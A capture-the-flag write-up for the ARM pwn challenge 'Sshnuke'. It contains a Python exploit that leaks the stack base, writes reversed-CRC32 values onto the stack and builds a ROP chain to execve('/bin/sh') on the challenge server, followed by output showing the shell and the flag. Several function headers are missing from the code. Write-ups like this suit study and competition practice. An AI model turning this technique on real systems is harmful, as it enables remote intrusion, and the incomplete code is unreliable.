Rating: 0

## === Sshnuke (Pwn: 16 solves / 546 teams, 54 pts) ===

Solution:
1. ARM binary
1. Calculate reverse crc32
1. Write anywhere on the stack
1. Start the shell using ROP

Use the following python codes.
- https://github.com/inaz2/minipwn/blob/master/minipwn.py
- https://github.com/theonlypwner/crc32/blob/master/crc32.py

I debugged using Raspberry Pi3 in local environment.


from minipwn import *
import commands

if len(sys.argv) > 1 and sys.argv[1] == 'r':
s = socket.create_connection(('159.65.80.92', 31337))
else:
s = connect_process("./sshnuke")

pop_r7 = 0x0001a194 # pop {r7, pc}
pop_r3 = 0x00010160 # pop {r3, pc}
pop_r1 = 0x0006f404 # pop {r1, pc}
pop_r0_r4 = 0x000271a4 # pop {r0, r4, pc}
mov_r4_r2 = 0x00041888 # mov r2, r4 ; blx r3
svc = 0x0001c9c0 # svc #0 ;

buf = "python crc32.py reverse " + str(addr)
r = commands.getoutput(buf)
p0 = r.find("alternative: ") + len("alternative: ")
print "data = 0x%08x" % addr , ", crc32 =", r[p0:p0+6]
return r[p0:p0+6]

def Store(slot, data):
recvuntil(s, "Select storage slot: ")
sendline(s, str(slot))
recvuntil(s, "Data for storage: ")
sendline(s, data)

def Store_yes():
recvuntil(s, "Store more? (y/n): ")
sendline(s, "y")

def Store_return():
recvuntil(s, "Select storage slot: ")
sendline(s, "0")
recvuntil(s, "Data for storage: ")
sendline(s, "0")
recvuntil(s, "Store more? (y/n): ")
sendline(s, "n")

recvuntil(s, "@RRF-CONTROL> ")
sendline(s, "2")
recvuntil(s, "Select slot to read from: ")
sendline(s, str(slot))
leak_stack = int(s.recv(8),16)
stack_base = leak_stack - 0x20104
#print hex(leak_stack)
#print hex(stack_base)
return stack_base

sendline(s, "A")

print "stack_base =", hex(stack_base)

recvuntil(s, "@RRF-CONTROL> ")
sendline(s, "1")

#
# Set "/bin/sh" in stack
#
rv = crc32_reverse(u32("/bin"))
Store(25, rv)
Store_yes()

rv = crc32_reverse(u32("/sh\x00"))
Store(26, rv)
Store_yes()

#
# Set r7 = 11
#
pos = 14
rv = crc32_reverse(pop_r7)
Store(pos, rv)
Store_yes()

pos += 1
rv = crc32_reverse(11)
Store(pos, rv)
Store_yes()

#
# Set r1 = 0
#
pos += 1
rv = crc32_reverse(pop_r1)
Store(pos, rv)
Store_yes()

pos += 1
rv = crc32_reverse(0)
Store(pos, rv)
Store_yes()

#
# Set r3 = svc address
#
pos += 1
rv = crc32_reverse(pop_r3)
Store(pos, rv)
Store_yes()

pos += 1
rv = crc32_reverse(svc)
Store(pos, rv)
Store_yes()

#
# Set r0 = stack_base + 0x1ffc0
# Set r4 = 0
#
pos += 1
rv = crc32_reverse(pop_r0_r4)
Store(pos, rv)
Store_yes()

pos += 1
rv = crc32_reverse(stack_base + 0x1ffc0)
Store(pos, rv)
Store_yes()

pos += 1
rv = crc32_reverse(0)
Store(pos, rv)
Store_yes()

#
# Set r2 = r4
# blx r3 (call r3)
#
pos += 1
rv = crc32_reverse(mov_r4_r2)
Store(pos, rv)
Store_yes()

Store_return()

interact(s)


The execution result is as follows.


guest@ubuntu:~/Pwn_Sshnuke\$ python solve.py r
stack_base = 0xf3390ca0
data = 0x6e69622f , crc32 = 1OQoUe
data = 0x0068732f , crc32 = 2zQdYQ
data = 0x0001a194 , crc32 = 2NXTci
data = 0x0000000b , crc32 = A0Ewd8
data = 0x0006f404 , crc32 = 0_vGY9
data = 0x00000000 , crc32 = 4kESJM
data = 0x00010160 , crc32 = 6OR7kL
data = 0x0001c9c0 , crc32 = 02T95b
data = 0x000271a4 , crc32 = 3qGpfJ
data = 0xf33b0c60 , crc32 = 2fAwFs
data = 0x00000000 , crc32 = 4kESJM
data = 0x00041888 , crc32 = 3tTGUs
id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
ls
flag
qemu-arm
redir.sh
sshnuke
cat flag
sctf{pUts_0n_sh4d3s_w3r3_1n}


The flag is the following.
sctf{pUts_0n_sh4d3s_w3r3_1n}